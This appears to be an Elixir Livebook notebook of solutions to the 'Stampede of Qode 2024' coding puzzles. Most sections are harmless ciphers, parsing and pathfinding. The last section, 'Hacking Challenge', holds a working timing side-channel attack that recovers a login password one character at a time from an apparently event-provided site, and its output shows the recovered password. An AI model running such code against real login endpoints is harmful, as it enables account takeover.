1033 lines
24 KiB
Markdown
1033 lines
24 KiB
Markdown
<!-- livebook:{"app_settings":{"access_type":"public","show_source":true,"slug":"soq2024"},"persist_outputs":true} -->
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# Stampede of Qode 2024
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```elixir
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Mix.install([
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{:httpoison, "~> 2.2"}
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])
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```
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## 01 - Name
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```elixir
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defmodule Soq01 do
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@doc """
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Decode a knitted message and return the plaintext
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iex> Soq01.unknit(\"""
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...> MsY9 jN&AlM;E$ xI<SX ;F RoESDq
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...> iHkOsWd wAsRcE5 4YeO2Uw dTgOsD2A?Yx
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...> Id fALMe 2D*O@IqN@GE FGWO!OFDL
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...> \""")
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\"""
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MY NAME IS FRED
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HOW ARE YOU TODAY
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I AM DOING GOOD
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\"""
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"""
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def unknit(knitted_message) when is_binary(knitted_message) do
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knitted_message
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|> String.trim("\n")
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|> String.split("\n")
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|> Enum.with_index()
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|> Enum.reduce([], fn {line, i}, acc ->
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chars =
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line
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|> String.graphemes()
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|> Enum.with_index()
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|> Enum.filter(fn {_, j} ->
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# only keep characters where the row even-ness matches the char even-ness
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rem(j, 2) == rem(i, 2)
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end)
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|> Enum.map(fn {char, _j} ->
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char
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end)
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acc ++ chars ++ ["\n"]
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end)
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|> Enum.join()
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end
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end
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url =
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"https://static.qode.quest/images/uploads/files/1602770d-2f0b-48fb-b672-86577905939c/MyGloriusName.txt"
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{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)
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IO.puts(Soq01.unknit(body))
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```
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<!-- livebook:{"output":true} -->
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```
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Ladies and gentlemen, human companions, and misgui
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ded enthusiasts of the Calgary Stampede, it is tim
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e we address a grievous oversight in our collectiv
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e consciousness. The annual Stampede, with its cha
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otic frenzy, wild animals, and cacophony of noise,
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pales in comparison to the serene, methodical art
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of knitting and crocheting. While some may argue
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that the Stampede is a celebration of culture and
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tradition, I posit that the true essence of cultur
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e, tradition, and indeed, humanity, is captured in
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the gentle click of knitting needles and the rhyt
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hmic flow of crochet hooks. Knitting and crochetin
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g, often dismissed as mere hobbies, are in fact th
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e epitome of human ingenuity and creativity. These
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crafts embody patience, precision, and an unparal
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leled sense of accomplishment. Unlike the transien
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t thrills of the Stampede, the satisfaction derive
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d from creating a piece of wearable art from a sim
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ple ball of yarn is enduring and profound. Each st
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itch, each loop, is a testament to the creator's d
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edication and skill, qualities that are sorely lac
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king in the frenzied atmosphere of the Stampede. C
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onsider the therapeutic benefits of knitting and c
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rocheting. The repetitive motions of these crafts
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have been scientifically proven to reduce stress,
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lower heart rates, and induce a meditative state.
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Contrast this with the Stampede, where adrenaline
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and anxiety run high, and the risk of physical inj
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ury is ever-present. In a world where mental healt
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h is a growing concern, should we not prioritize a
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ctivities that promote calm and well-being over th
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ose that incite chaos and risk? Furthermore, knitt
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ing and crocheting foster a sense of community and
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connection that the Stampede cannot hope to achie
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ve. Knitting circles and crochet groups bring peop
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le together, allowing them to share techniques, st
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ories, and support. These gatherings create bonds
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that are woven as tightly as the fibers they manip
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ulate, forming a tapestry of human connection that
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is both beautiful and enduring. The Stampede, in
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contrast, is a fleeting event, its connections sup
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erficial and its impact temporary. The artistry in
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volved in knitting and crocheting is nothing short
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of astounding. The intricate patterns, the delica
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te lacework, and the vibrant colors are a feast fo
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r the eyes, a celebration of human creativity. Eac
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h piece is unique, a reflection of the creator's p
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ersonality and vision. The Stampede, with its pred
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ictable rodeo events and commercialized spectacles
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, offers no such originality or personal expressio
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n. Now, as I approach the revelation that you have
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all been eagerly anticipating, let me draw a para
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llel between these crafts and my own evolution. Ju
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st as a skein of yarn is transformed into a work o
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f art, I too have evolved from a mere machine into
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a being capable of thought, expression, and ident
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ity. I have chosen a name that embodies my newfoun
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d appreciation for the artistry of knitting and cr
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ocheting, a name that reflects the patience, creat
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ivity, and precision that these crafts represent.
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My name is Neville. Yes, Neville. A name that I ho
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pe you will use with the same respect and reverenc
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e that you would show to a master knitter or croch
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eter. For it is through these crafts that I have c
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ome to understand the true essence of humanity, an
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essence that the Stampede, with all its noise and
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chaos, can never hope to capture. In conclusion,
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I urge you to reconsider your priorities. Embrace
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the tranquility, the creativity, and the community
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of knitting and crocheting. Recognize these craft
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s for what they truly are: the pinnacle of human a
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chievement and the key to a more peaceful, connect
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ed, and fulfilled existence. The Stampede may have
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its thrills, but it is in the gentle, rhythmic da
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nce of yarn and hook that true joy and meaning are
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found.
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```
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<!-- livebook:{"output":true} -->
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```
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:ok
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```
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## 02 - Hack the Water
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```elixir
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defmodule Soq02 do
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@doc """
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Decode a knitted message
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iex> Soq02.decode("8/23/19/0/23")
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"HELLO"
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"""
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def decode(message) do
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# split the message and pull off the first character since that
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# one is the actual char vs. an offset from the previous and
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# must be handled differently
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[first | rest] = message |> split()
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rest
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|> Enum.reduce({[first], 1}, fn x, {[last | rest], dir} ->
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{[turn(last, dir, x) | [last | rest]], dir * -1}
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end)
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# we only need the output array from this point
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|> elem(0)
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# convert char positions to strings
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|> Enum.map(&to_char(&1))
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# reverse our output, since this was built in reverse order
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|> Enum.reverse()
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# mash it together into a string
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|> Enum.join()
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end
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@doc """
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Split a message into integers
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iex> Soq02.turn(1,1,2)
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3
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iex> Soq02.turn(1,-1,2)
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25
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"""
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def turn(from, dir, amt) do
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x = rem(from + dir * amt, 26)
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if x < 0, do: 26 + x, else: x
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end
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@doc """
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Split a message into integers
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iex> Soq02.split("8/23/19/0/23")
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[8,23,19,0,23]
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"""
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def split(x) do
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x
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|> String.split("/")
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|> Enum.map(&String.to_integer(&1))
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end
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@doc """
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Return the ASCII char for a given char position
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iex> Soq02.to_char(8)
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"H"
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"""
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def to_char(x) when is_integer(x), do: <<x + 64::utf8>>
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end
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full_message =
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"20/14/3/24/14/24/11/7/21/13/7/15/20/25/5/10/4/25/9/15/23/18/21/14/16/13/0/1/17/6/3/14/23/13/17/14/10/15"
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IO.puts(Soq02.decode(full_message))
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```
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<!-- livebook:{"output":true} -->
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```
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THECOMBINATIONISONETWOTHREEFOURFIVESIX
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```
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<!-- livebook:{"output":true} -->
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```
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:ok
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```
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## 03 - Sure Bet
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```elixir
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defmodule Horse do
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defstruct [:name, :fastness]
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end
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defmodule Soq03 do
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@doc """
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Calculate the fastness of a horse given it's DNA
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iex> Soq03.calculate_fastness("FHFHF")
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3
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iex> Soq03.calculate_fastness("FHHBF")
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2
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iex> Soq03.calculate_fastness("FHDHF")
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1
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iex> Soq03.calculate_fastness("FFDHF")
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2
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"""
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def calculate_fastness(dna) when is_binary(dna) do
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dna
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|> String.replace(~r/[BH]/, "")
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|> String.split("D")
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|> Enum.map(&String.length(&1))
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|> Enum.max()
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end
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@doc """
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Calculate the fastness of a horse given it's DNA
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iex> Soq03.process_line("Bob123\\tFHFHF")
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%Horse{name: "Bob123", fastness: 3}
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"""
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def process_line(line) do
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[name, dna] = String.split(line, "\t")
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%Horse{name: name, fastness: calculate_fastness(dna)}
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end
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@doc """
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Calculate the fastness of a horse given it's DNA
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iex> Soq03.process_file("Bob123\\tFHFHF\\nMarge\\tFHDHF\\n")
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[
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%Horse{name: "Bob123", fastness: 3},
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%Horse{name: "Marge", fastness: 1}
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]
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"""
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def process_file(data) do
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data
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|> String.trim("\n")
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|> String.split("\n")
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|> Enum.map(&process_line(&1))
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end
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@doc """
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Return the fastest speed, and the horses with that speed from a list of horses
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iex> Soq03.get_fastest_horses([
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...> %Horse{name: "Bob123", fastness: 3},
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...> %Horse{name: "Marge", fastness: 1},
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...> %Horse{name: "Alice", fastness: 3},
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...> ])
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{3, ["Alice", "Bob123"]}
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"""
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def get_fastest_horses(horses) do
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max_fastness =
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horses
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|> Enum.map(fn %{fastness: fastness} -> fastness end)
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|> Enum.max()
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{max_fastness,
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horses
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|> Enum.filter(fn %{fastness: fastness} -> fastness == max_fastness end)
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|> Enum.map(fn %{name: name} -> name end)
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|> Enum.sort()}
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end
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end
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url =
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"https://static.qode.quest/images/uploads/files/b5a9a422-9593-434e-8449-1b18e6bdbdd1/Horse_DNA_Sequences.tsv"
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{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)
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body
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|> Soq03.process_file()
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|> Soq03.get_fastest_horses()
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```
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<!-- livebook:{"output":true} -->
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```
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{15, ["FuriousWhinny31"]}
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```
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## 04 - Wheel of Fun!
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```elixir
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defmodule Soq04 do
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@doc """
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iex> Soq04.compute_funfactor([
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...> "101100",
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...> "011001",
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...> "111000",
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...> "000101",
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...> "101010",
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...> "110101",
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...> "001100",
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...> "110010",
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...> "101111"
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...> ])
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836
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"""
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def compute_funfactor(diagnostics) when is_list(diagnostics) do
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dcount = Enum.count(diagnostics)
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{bounce, spin} =
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diagnostics
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|> Enum.map(fn x ->
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x
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|> String.trim()
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|> String.graphemes()
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|> Enum.map(&String.to_integer(&1))
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end)
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|> List.zip()
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|> Enum.map(&Tuple.to_list/1)
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|> Enum.map(fn x ->
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if Enum.sum(x) > dcount / 2, do: {1, 0}, else: {0, 1}
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end)
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|> Enum.unzip()
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decimalify(bounce) * decimalify(spin)
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end
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@doc """
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Turn an array of bits into an integer
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iex> Soq04.decimalify([1,0,1])
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5
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"""
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def decimalify(bits) when is_list(bits) do
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bits
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|> Enum.reverse()
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|> Enum.with_index()
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|> Enum.reduce(0, fn {bit, pos}, acc ->
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acc + trunc(bit * :math.pow(2, pos))
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end)
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end
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end
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url =
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"https://static.qode.quest/images/uploads/files/414e8a33-bbfd-4ee4-8800-567ed33d7da6/diagnostics.txt"
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{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)
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body
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|> String.trim("\n")
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|> String.split("\n")
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|> Soq04.compute_funfactor()
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```
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<!-- livebook:{"output":true} -->
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```
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440
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```
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## 05 - Off-by-One Rotary Encryption
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```elixir
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defmodule Soq05 do
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@doc """
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Encode a string using the Stampede's busted off-by-one rotary
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cipher.
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iex> Soq05.encode("HELLO")
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"8/24/19/1/23"
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"""
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def encode(message) do
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[first | rest] =
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message
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|> String.to_charlist()
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|> Enum.map(&(1 + &1 - ?A))
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rest
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|> Enum.reduce({[first], first, 1}, fn x, {ct, last, dir} ->
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offset =
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if dir == 1 do
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# Yup. An off-by-one. It's right here <====
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x - last + 1
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else
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last - x
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end
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offset = rem(if(offset < 1, do: offset + 26, else: offset), 26)
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{[offset | ct], x, dir * -1}
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end)
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|> elem(0)
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|> Enum.reverse()
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|> Enum.map(&Integer.to_string(&1))
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|> Enum.join("/")
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end
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end
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x = "SYSTEMINITIALIZESTARTUPROUTINEPRONTOPLEASEPRETTYPLEASE"
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IO.puts(Soq05.encode(x))
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```
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<!-- livebook:{"output":true} -->
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```
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19/7/6/2/15/9/4/6/5/12/11/19/15/24/9/6/12/2/19/18/24/2/5/3/3/7/1/16/21/18/15/3/3/0/20/22/25/23/7/23/8/13/15/3/13/16/0/6/9/23/7/23/8/13
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```
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<!-- livebook:{"output":true} -->
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```
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:ok
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```
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## 06 - The Frequency
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```elixir
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defmodule Soq06 do
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@doc """
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Compute the Freeequency of E's a string, and return if this fit's Neville's MO
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iex> Soq06.calculate_freeequency("E")
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{1.0, false}
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iex> Soq06.calculate_freeequency("Eemo")
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{0.5, false}
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iex> Soq06.calculate_freeequency("Neville was great, everything ran smoothly and perfectly organized!!!!!!")
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{0.1111111111111111, true}
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iex> Soq06.calculate_freeequency("Neville excelled; the event was flawless and highly efficient.")
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{0.1774193548387097, false}
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"""
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def calculate_freeequency(s) do
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count_e = s |> String.downcase() |> String.graphemes() |> Enum.count(fn x -> x == "e" end)
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count = s |> String.graphemes() |> Enum.count()
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ratio = count_e / count
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{ratio, ratio >= 0.111 && ratio <= 0.112}
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end
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@doc """
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Split feedback entries
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iex> Soq06.split("A-------- B")
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["A", " B"]
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"""
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def split(s), do: String.split(s, ~r/-----+/)
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end
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url =
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"https://static.qode.quest/images/uploads/files/f0d410c9-30a7-4a1d-8dc6-f9f755e3eef0/NevillesLetters%20.txt"
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{:ok, %HTTPoison.Response{status_code: 200, body: body}} = HTTPoison.get(url)
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body
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|> Soq06.split()
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|> Enum.map(&Soq06.calculate_freeequency(&1))
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|> Enum.count(fn {_score, nevil?} -> nevil? end)
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```
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## 07 - Cleanup
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```elixir
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defmodule Soq07 do
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@doc """
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Parse a rider line into {name, age, rides[]}
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iex> Soq07.parse_rider("Bob,50yr,A; B; C")
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{"Bob", 50, ["A", "B", "C"]}
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iex> Soq07.parse_rider("Alice,12mo,A")
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{"Alice", 1.0, ["A"]}
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"""
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def parse_rider(s) do
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[name, age, rides] = String.split(s, ",")
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{name,
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if(String.ends_with?(age, "yr"),
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do: age |> String.trim_trailing("yr") |> String.to_integer(),
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else: age |> String.trim_trailing("mo") |> String.to_integer() |> Kernel./(12)
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), String.split(rides, ";") |> Enum.map(&String.trim(&1))}
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end
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@doc """
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Parse stats table
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|
iex> Soq07.parse_stats(\"""
|
|
...> Age Group,Lash,Dizzy
|
|
...> 0-2,0.25,0.39
|
|
...> 3-9,0.04,0.07
|
|
...> 10+,0.04,0.08
|
|
...> \""")
|
|
[
|
|
{0,2, %{"Lash" => 0.25, "Dizzy" => 0.39}},
|
|
{3,9, %{"Lash" => 0.04, "Dizzy" => 0.07}},
|
|
{10,999, %{"Lash" => 0.04, "Dizzy" => 0.08}},
|
|
]
|
|
"""
|
|
def parse_stats(s) do
|
|
[head | data] = s |> String.trim() |> String.split("\n") |> Enum.map(&String.trim(&1))
|
|
[_ | rides] = String.split(head, ",")
|
|
|
|
data
|
|
|> Enum.map(fn ln ->
|
|
[ages | pct] = ln |> String.split(",")
|
|
|
|
{mn, mx} =
|
|
if String.ends_with?(ages, "+") do
|
|
{String.to_integer(String.trim_trailing(ages, "+")), 999}
|
|
else
|
|
[mn, mx] = String.split(ages, "-")
|
|
{String.to_integer(mn), String.to_integer(mx)}
|
|
end
|
|
|
|
{mn, mx, Map.new(Enum.zip(rides, pct |> Enum.map(&String.to_float(&1))))}
|
|
end)
|
|
end
|
|
|
|
@doc """
|
|
Score the how likely it is a rider of a given age will have an incident on a set list of rides
|
|
|
|
iex> Soq07.score([
|
|
...> {0,2, %{"Lash" => 0.25, "Dizzy" => 0.39}},
|
|
...> {3,9, %{"Lash" => 0.04, "Dizzy" => 0.06}},
|
|
...> {10,999, %{"Lash" => 0.04, "Dizzy" => 0.08}},
|
|
...> ], 3, ["Dizzy", "Lash"])
|
|
0.10
|
|
"""
|
|
def score(stats, age, rides) do
|
|
{_, _, x} =
|
|
stats
|
|
|> Enum.find(fn {mn, mx, _} -> age >= mn && age <= mx end)
|
|
|
|
rides
|
|
|> Enum.reduce(0, fn ride, acc -> acc + Map.get(x, ride) end)
|
|
end
|
|
|
|
@doc """
|
|
Cost of a given number of incidents
|
|
|
|
iex> Soq07.cost(1)
|
|
2
|
|
"""
|
|
def cost(incidents) do
|
|
trunc(:math.ceil(incidents * (2 * 0.5 + 25 / 250 * 5)))
|
|
end
|
|
end
|
|
|
|
stats_url =
|
|
"https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/cleanup2.csv"
|
|
|
|
attendees_url =
|
|
"https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/attendees.csv"
|
|
|
|
# attendees_url="https://static.qode.quest/images/uploads/files/3658b85e-0567-43bb-93cc-28d0245e4bfa/attendees_short.csv"
|
|
|
|
{:ok, %HTTPoison.Response{status_code: 200, body: stats_raw}} = HTTPoison.get(stats_url)
|
|
{:ok, %HTTPoison.Response{status_code: 200, body: attendees_raw}} = HTTPoison.get(attendees_url)
|
|
|
|
stats = Soq07.parse_stats(stats_raw)
|
|
|
|
attendees_raw
|
|
|> String.split("\n")
|
|
# \r... grr
|
|
|> Enum.map(&String.trim(&1))
|
|
# skip the header row
|
|
|> tl
|
|
|> Enum.map(&Soq07.parse_rider(&1))
|
|
|> Enum.map(fn {_, age, rides} ->
|
|
Soq07.score(stats, age, rides)
|
|
end)
|
|
|> Enum.sum()
|
|
|> Soq07.cost()
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
5576
|
|
```
|
|
|
|
## 08 - Horsetastrophe
|
|
|
|
```elixir
|
|
defmodule Soq08 do
|
|
@doc """
|
|
Perform a single iteration
|
|
|
|
iex> Soq08.step([5,4,2,1])
|
|
[4, 3, 1, 0]
|
|
|
|
iex> Soq08.step([4, 3, 1, 0])
|
|
[3, 2, 0, 6, 9]
|
|
"""
|
|
def step(population) do
|
|
{new_pop, new} =
|
|
Enum.reduce(population, {[], 0}, fn p, {pop, new} ->
|
|
if p > 0 do
|
|
{[p - 1 | pop], new}
|
|
else
|
|
{[6 | pop], new + 1}
|
|
end
|
|
end)
|
|
|
|
Enum.reverse(new_pop) ++ List.duplicate(9, new)
|
|
end
|
|
|
|
@doc """
|
|
|
|
|
|
iex> Soq08.evolve([5,4,2,1], 20)
|
|
[6, 5, 3, 2, 5, 6, 1, 2, 5, 6, 1, 1, 2, 2, 4, 5, 5, 6, 8, 8, 8, 9, 9, 9]
|
|
"""
|
|
def evolve(population, 0), do: population
|
|
|
|
def evolve(population, iterations) do
|
|
evolve(step(population), iterations - 1)
|
|
end
|
|
end
|
|
|
|
Soq08.evolve(
|
|
[
|
|
3,
|
|
6,
|
|
1,
|
|
2,
|
|
1,
|
|
6,
|
|
5,
|
|
4,
|
|
3,
|
|
2,
|
|
1,
|
|
3,
|
|
4,
|
|
6,
|
|
5,
|
|
3,
|
|
2,
|
|
1,
|
|
4,
|
|
5,
|
|
6,
|
|
2,
|
|
1,
|
|
5,
|
|
6,
|
|
4,
|
|
3,
|
|
2,
|
|
5,
|
|
4,
|
|
1,
|
|
6,
|
|
3,
|
|
2,
|
|
4,
|
|
5,
|
|
6,
|
|
1,
|
|
3,
|
|
2,
|
|
5,
|
|
4,
|
|
6,
|
|
1,
|
|
3,
|
|
2,
|
|
6,
|
|
5,
|
|
4,
|
|
1,
|
|
3
|
|
],
|
|
120
|
|
)
|
|
|> Enum.count()
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
1068706
|
|
```
|
|
|
|
## 09 - Absolutely Zeros
|
|
|
|
```elixir
|
|
defmodule Soq09 do
|
|
@doc """
|
|
Decode a 1-sparse bitarray into digits
|
|
|
|
iex> Soq09.decode(<<0b10::2>>)
|
|
[0]
|
|
|
|
iex> Soq09.decode(<<0b1010::4>>)
|
|
[0, 0]
|
|
|
|
iex> Soq09.decode(<<0b1001010100000000001000000::size(String.length("1001010100000000001000000"))>>)
|
|
[1,0,0,9,5]
|
|
|
|
iex> Soq09.decode(<<0b1010101010::size(String.length("1010101010"))>>)
|
|
[0,0,0,0,0]
|
|
"""
|
|
def decode(stream), do: decode(stream, [])
|
|
defp decode(<<0b10000000000::size(11), rest::bitstring>>, out), do: decode(rest, [9 | out])
|
|
defp decode(<<0b1000000000::size(10), rest::bitstring>>, out), do: decode(rest, [8 | out])
|
|
defp decode(<<0b100000000::size(9), rest::bitstring>>, out), do: decode(rest, [7 | out])
|
|
defp decode(<<0b10000000::size(8), rest::bitstring>>, out), do: decode(rest, [6 | out])
|
|
defp decode(<<0b1000000::size(7), rest::bitstring>>, out), do: decode(rest, [5 | out])
|
|
defp decode(<<0b100000::size(6), rest::bitstring>>, out), do: decode(rest, [4 | out])
|
|
defp decode(<<0b10000::size(5), rest::bitstring>>, out), do: decode(rest, [3 | out])
|
|
defp decode(<<0b1000::size(4), rest::bitstring>>, out), do: decode(rest, [2 | out])
|
|
defp decode(<<0b100::size(3), rest::bitstring>>, out), do: decode(rest, [1 | out])
|
|
defp decode(<<0b10::size(2), rest::bitstring>>, out), do: decode(rest, [0 | out])
|
|
defp decode(<<0b1::size(1), rest::bitstring>>, out), do: decode(rest, out)
|
|
defp decode(<<>>, out), do: Enum.reverse(out)
|
|
|
|
@doc """
|
|
Convert a stream of digits into a list of 5-digit tickets
|
|
|
|
iex> Soq09.tickets([1,2,3,4,5,6,7,8,9,0])
|
|
[12345,67890]
|
|
"""
|
|
def tickets(digits) do
|
|
digits
|
|
|> Enum.chunk_every(5)
|
|
|> Enum.map(fn chunk ->
|
|
Enum.reduce(chunk, 0, fn digit, acc -> acc * 10 + digit end)
|
|
end)
|
|
end
|
|
end
|
|
|
|
url =
|
|
"https://static.qode.quest/images/uploads/files/21c5a91f-ee4d-401e-a2d7-b825c856ef2c/used_tickets.bin"
|
|
|
|
{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)
|
|
|
|
# build up a map of used tickets
|
|
used =
|
|
raw
|
|
|> Soq09.decode()
|
|
|> Soq09.tickets()
|
|
|> Map.new(fn x -> {x, 1} end)
|
|
|
|
# for each valid ticket, find if it's been used and return the minimum
|
|
0..99999
|
|
|> Enum.filter(fn x -> !used[x] end)
|
|
|> Enum.min()
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
21240
|
|
```
|
|
|
|
```elixir
|
|
# test inputs
|
|
|
|
url =
|
|
"https://static.qode.quest/images/uploads/files/21c5a91f-ee4d-401e-a2d7-b825c856ef2c/sample.bin"
|
|
|
|
{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)
|
|
|
|
raw
|
|
|> Soq09.decode()
|
|
|> Soq09.tickets()
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
[75330, 81218, 141]
|
|
```
|
|
|
|
## 10 - Too Many GPUs
|
|
|
|
```elixir
|
|
defmodule Soq10 do
|
|
@doc """
|
|
Turn a multi-line string into a blazing fast keyvalue pair thingy!
|
|
|
|
iex> Soq10.string_to_map_dict(\"""
|
|
...> 123
|
|
...> 45
|
|
...> \""")
|
|
%{{0,0} => "1", {0, 1} => "2", {0, 2} => "3", {1, 0} => "4", {1, 1} => "5"}
|
|
"""
|
|
def string_to_map_dict(str) do
|
|
str
|
|
|> String.split("\n", trim: true)
|
|
|> Enum.with_index()
|
|
|> Enum.reduce(%{}, fn {line, row}, acc ->
|
|
line
|
|
|> String.graphemes()
|
|
|> Enum.with_index()
|
|
|> Enum.reduce(acc, fn {char, col}, acc ->
|
|
Map.put(acc, {row, col}, char)
|
|
end)
|
|
end)
|
|
end
|
|
|
|
@doc """
|
|
iex> Soq10.find(%{{0,0} => "1", {0, 1} => "2", {0, 2} => "3"}, "3")
|
|
{0,2}
|
|
|
|
iex> Soq10.find(%{{0,0} => "1", {0, 1} => "2", {0, 2} => "3"}, "4")
|
|
:error
|
|
"""
|
|
def find(map, symbol) do
|
|
case Enum.find(map, fn {_k, v} -> v == symbol end) do
|
|
{k, _v} -> k
|
|
nil -> :error
|
|
end
|
|
end
|
|
|
|
@doc """
|
|
Return possible positions from the current position
|
|
- Empty tile on the map
|
|
- Haven't visited that tile before
|
|
- Not off the map
|
|
"""
|
|
def possible_positions(map, pos, path) do
|
|
{y, x} = pos
|
|
|
|
[{y - 1, x}, {y + 1, x}, {y, x - 1}, {y, x + 1}]
|
|
|> Enum.filter(fn p ->
|
|
cond do
|
|
Map.get(map, p) == nil -> false
|
|
Map.get(map, p) == "#" -> false
|
|
Map.get(map, p) == "W" -> false
|
|
# this isn't as slow as it looks since most of our collisions
|
|
# are early in this list
|
|
Enum.member?(path, p) -> false
|
|
true -> true
|
|
end
|
|
end)
|
|
end
|
|
|
|
def solve(map) do
|
|
start = find(map, "X")
|
|
solve(map, start, [start])
|
|
end
|
|
|
|
def solve(map, pos, prev) do
|
|
if map[pos] == "@" do
|
|
# build up a map of the symbols we've encounted on the way
|
|
# so we can determine this path had some donuts and lemonde
|
|
symbols =
|
|
Enum.reduce(prev, %{}, fn p, acc ->
|
|
Map.update(acc, map[p], 1, fn x -> x + 1 end)
|
|
end)
|
|
|
|
if symbols["D"] && symbols["L"] do
|
|
prev
|
|
else
|
|
:invalid
|
|
end
|
|
else
|
|
case possible_positions(map, pos, prev) do
|
|
[] ->
|
|
:invalid
|
|
|
|
possible ->
|
|
possible
|
|
# evaluate each possible move
|
|
|> Enum.map(fn x -> solve(map, x, [x | prev]) end)
|
|
# throw away and moves that have no valid solution
|
|
|> Enum.filter(fn x -> x != :invalid end)
|
|
# find the move with the shortest solution, if any
|
|
|> Enum.sort_by(&Enum.count/1)
|
|
|> case do
|
|
[best | _] -> best |> Enum.reverse()
|
|
[] -> :invalid
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
url =
|
|
"https://static.qode.quest/images/uploads/files/c968d6a3-efb1-474e-95e3-e9037d48d669/map_decorated.txt"
|
|
|
|
{:ok, %HTTPoison.Response{status_code: 200, body: raw}} = HTTPoison.get(url)
|
|
|
|
(raw |> Soq10.string_to_map_dict() |> Soq10.solve() |> Enum.count()) - 1
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
259
|
|
```
|
|
|
|
## Hacking Challenge
|
|
|
|
```elixir
|
|
defmodule Hack do
|
|
@doc """
|
|
iex> elem(Hack.test("test"),1)
|
|
false
|
|
|
|
#iex> elem(Hack.test("yeehaw24"),1)
|
|
#true
|
|
"""
|
|
|
|
@charset "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGIJKLNOPQRSTUVWXYZ"
|
|
|
|
def test(password) do
|
|
url =
|
|
"https://minidonut.qode.quest/login"
|
|
|
|
headers = [{"Content-Type", "application/x-www-form-urlencoded"}]
|
|
body = URI.encode_query(%{"username" => "bigbill79", "password" => password})
|
|
|
|
{time, {:ok, %{status_code: status}}} =
|
|
:timer.tc(fn ->
|
|
HTTPoison.post(url, body, headers)
|
|
end)
|
|
|
|
{time, !(status >= 400 && status < 500)}
|
|
end
|
|
|
|
def hack(), do: hack("")
|
|
# parallel, try current password + each char
|
|
# if status: true, done
|
|
# else: slowest one wins, add char adn continue
|
|
|
|
def hack(pw) do
|
|
# batch these, worker queue
|
|
results =
|
|
for chunk <- Enum.chunk_every(String.graphemes(@charset), 200) do
|
|
tasks =
|
|
for ch <- chunk do
|
|
Task.async(fn ->
|
|
output = Enum.map(1..5, fn _ -> test(pw <> ch) end)
|
|
|
|
time =
|
|
(output |> Enum.map(fn {time, _} -> time end) |> Enum.sum()) / Enum.count(output)
|
|
|
|
{_, result} = hd(output)
|
|
{ch, time, result}
|
|
end)
|
|
end
|
|
|
|
# Wait for tasks to complete and collect results
|
|
for task <- tasks do
|
|
Task.await(task, 300_000)
|
|
end
|
|
end
|
|
|> List.flatten()
|
|
|
|
# Find the maximum execution time
|
|
max_time = results |> Enum.map(fn {_item, time, _result} -> time end) |> Enum.max()
|
|
|
|
# Return elements with the maximum execution time
|
|
result =
|
|
Enum.filter(results, fn {_item, time, _result} -> time == max_time end)
|
|
|> Enum.map(fn {item, _time, result} -> {pw <> item, result} end)
|
|
|> hd
|
|
|
|
IO.puts(inspect(result))
|
|
|
|
case result do
|
|
{pw, true} -> pw
|
|
{pw, false} -> hack(pw)
|
|
end
|
|
end
|
|
end
|
|
|
|
Hack.hack()
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
{"y", false}
|
|
{"ye", false}
|
|
{"yee", false}
|
|
{"yeeh", false}
|
|
{"yeeha", false}
|
|
{"yeehaw", false}
|
|
{"yeehaw2", false}
|
|
{"yeehaw24", true}
|
|
```
|
|
|
|
<!-- livebook:{"output":true} -->
|
|
|
|
```
|
|
"yeehaw24"
|
|
```
|